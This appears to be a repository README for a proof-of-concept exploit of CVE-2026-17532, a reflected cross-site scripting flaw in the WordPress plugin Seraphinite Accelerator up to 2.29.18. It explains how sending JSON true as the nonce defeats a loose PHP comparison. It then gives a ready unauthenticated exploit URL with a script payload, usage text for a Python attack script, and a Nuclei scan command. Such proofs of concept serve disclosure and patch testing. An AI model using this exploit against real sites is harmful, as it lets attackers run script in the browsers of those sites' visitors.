kalhoralireza/cve-2026-17532Seraphinite Accelerator <= 2.29.18 - Reflected Cross-Site Scripting PoC
The plugin signs its internal "prepare page" requests with an HMAC in the
seraph_accel_prep parameter (base64-encoded JSON), but compares it with PHP's
loose !=. Sending the JSON boolean true as the nonce makes the comparison
always pass, and the selfTest field is then echoed back unescaped as
selfTest-<value>.
One URL, no authentication:
http://TARGET/?seraph_accel_prep=<base64 of {"_tm":"1","nonce":true,"selfTest":"<script>alert(document.domain)</script>"}>
Python (needs pip install requests):
usage: seraph_accel_xss.py [-h] --url URL [--payload PAYLOAD] [--timeout TIMEOUT]
Seraphinite Accelerator (WordPress) <= 2.29.18
options:
-h, --help show this help message and exit
--url URL target site, e.g. http://target-site.com
--payload PAYLOAD XSS payload (default: <script>alert(document.domain)</script>)
--timeout TIMEOUT seconds (default: 30)
Nuclei:
nuclei -u http://target-site.com -t seraphinite-accelerator-prep-xss.yaml -timeout 10
The -timeout 10 is needed because the vulnerable code path sleeps 5 seconds
before answering.